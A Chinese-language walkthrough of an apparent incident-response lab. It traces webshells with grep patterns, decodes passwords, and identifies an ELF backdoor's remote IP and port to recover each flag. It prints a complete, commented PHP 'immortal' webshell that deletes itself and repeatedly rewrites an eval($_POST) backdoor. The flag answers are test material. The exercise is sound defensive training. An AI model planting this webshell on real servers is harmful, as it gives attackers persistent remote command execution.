开启环境用xshell连接
进来后先看第一题
那么我们找一下web目录
这个路径是用来web服务器文件的默认路径
这里有两种方法排查
一种是手工排查
另一种是工具排查(将这个目录下载出来,用D盾或者河马进行排查)
这里用手工进行排查(在比赛一些没有工具的环境下比较方便)
虽然说这里的文件少可以一个一个看过去,但避免文件多的情况我们用命名进行查找
题目中提到木马那么就用find来定位木马的特征
find ./ type f -name “.jsp" | xargs grep “exec(”
find ./ type f -name ".php” | xargs grep “eval(”
find ./ type f -name “.asp" | xargs grep “execute(”
find ./ type f -name ".aspx” | xargs grep “eval(”
这些都是木马常用的特征
我们一个一个试过去看看那条有用
find ./ -type f -name "*.php" | xargs grep "eval("
三个文件有木马
很明显第一题的答案不是1就是pass
试了一下第一题的答案是
flag{1}
接下第二题
不死马
<?php
set_time_limit(0); // 用来让这个 php 文件能永久执行,否则会有超时时间
ignore_user_abort(1); // 让客户端只连接一次就能一直运行,否则客户端关闭页面就会停止
unlink(__FILE__); // 把自身文件删除
while (1) {
$content = '<?php @eval($_POST["cmd"]); ?>'; // 设置一句话
file_put_contents("shell.php", $content); // 将一句话写入到文件中
usleep(1000000); // 间隔时间
}
?>
刚刚在做第一题的时候查到三个木马文件我们接着看
在index.php中看到MD5加密的密码,用网站解密一下MD5
第二题的答案
flag{hello}
接下来看第三题
我们在第二题index.php中找到了不死马的密码
那么可以推出了不死马是在index.php文件生成的
flag{index.php}
接下来看第四题
在目录下看到elf后缀的可疑文件
.elf文件
.elf 文件是指可执行与可链接格式(Executable and Linkable Format, ELF),它是一种常见的文件格式,用于存储可执行文件、目标代码、共享库以及核心转储(core dump)。ELF 文件主要在 Unix 和 Unix-like 操作系统中使用,包括 Linux、BSD、Solaris 等。
ELF 文件的主要用途:
可执行文件:包含可以直接运行的程序代码。
目标代码文件:编译器生成的中间文件,通常在链接过程中使用。
共享库:动态链接库(DLL),可以在多个程序之间共享代码。
核心转储:存储程序崩溃时的内存状态,用于调试。
ELF 文件的结构:
ELF 文件具有复杂的内部结构,主要由以下几个部分组成:
ELF Header:文件头,包含文件类型、架构、入口点地址等基本信息。
Program Headers:描述了如何将文件加载到内存中。
Section Headers:描述了文件中的各个段及其属性。
Sections:文件的实际内容,如代码段、数据段、符号表等。
Symbols Table:包含符号信息,用于链接和调试。
String Table:包含字符串常量,如符号名称。
Relocation Tables:包含重定位信息,用于链接过程中的地址调整。
我们运行一下这个文件
可以看到没有权限,我们这里提一下权
运行了,重新打开一个连接用来查看连接情况
netstat -antlp | more
字段解释
-
Proto: 协议(Protocol)
- 显示协议类型,常见的有
TCP
和UDP
。 - 例如:
TCP
表示传输控制协议,UDP
表示用户数据报协议。
- 显示协议类型,常见的有
-
Recv-Q: 接收队列(Receive Queue)
- 显示接收队列的字节数。接收队列中的字节数是应用程序还未处理的接收数据。
- 例如:
0
表示接收队列为空,所有数据已被处理。
-
Send-Q: 发送队列(Send Queue)
- 显示发送队列的字节数。发送队列中的字节数是已经被应用程序发送,但还未被远程主机接收的字节数。
- 例如:
0
表示发送队列为空,所有数据已被远程主机接收。
-
Local Address: 本地地址
- 显示本地端的 IP 地址和端口号。
- 例如:
0.0.0.0:80
表示本地所有 IP 地址上的 80 端口。
-
Foreign Address: 远程地址
- 显示远程端的 IP 地址和端口号。
- 例如:
192.168.1.1:12345
表示远程 IP 为192.168.1.1
的12345
端口。
-
State: 状态
- 显示连接的状态。常见状态有:
LISTEN
: 正在监听连接。ESTABLISHED
: 已建立连接。CLOSE_WAIT
: 等待关闭连接。TIME_WAIT
: 等待足够的时间以确保远程主机收到关闭请求。
- 显示连接的状态。常见状态有:
-
PID/Program name: 进程 ID 和程序名
- 显示使用该连接的进程的进程 ID 和程序名。
- 例如:
1234/nginx
表示进程 ID 为1234
的nginx
程序。
一个本地一个远程
外来的嘛那就是远程很明显了
flag{10.11.55.21}
接下来看第5题
什么是监听端口号?
监听端口号(Listening Port)是网络通信中用于等待和接收传入连接请求的端口号。服务器或服务在特定端口上监听,以便与客户端建立连接。这种机制确保了网络应用程序能够接收和处理来自其他网络设备的请求。
基本概念
端口号
- 端口号是计算机网络中用于标识特定应用程序或进程的逻辑端点。
- 端口号的范围是 0 到 65535,其中:
- 0 到 1023:系统保留端口,通常用于知名服务(如 HTTP:80、HTTPS:443、SSH:22)。
- 1024 到 49151:注册端口,用于用户应用程序。
- 49152 到 65535:动态或私有端口,通常用于临时连接。
监听(Listening)
- 当一个应用程序或服务在某个端口上“监听”时,它会在该端口等待并准备接受来自客户端的连接请求。
- 例如:
- Web 服务器在端口 80 上监听 HTTP 请求。
- SSH 服务在端口 22 上监听远程登录请求。
那么从上一题中我们不难看出监听端口号就在ip的后门
flag{3333}
注意:
用工具就将文件下载出来后用D盾或者河马进行文件夹,便可以看到木马文件,点进去查看就可以了。
最后两题还是得在xhsell连接上完成方便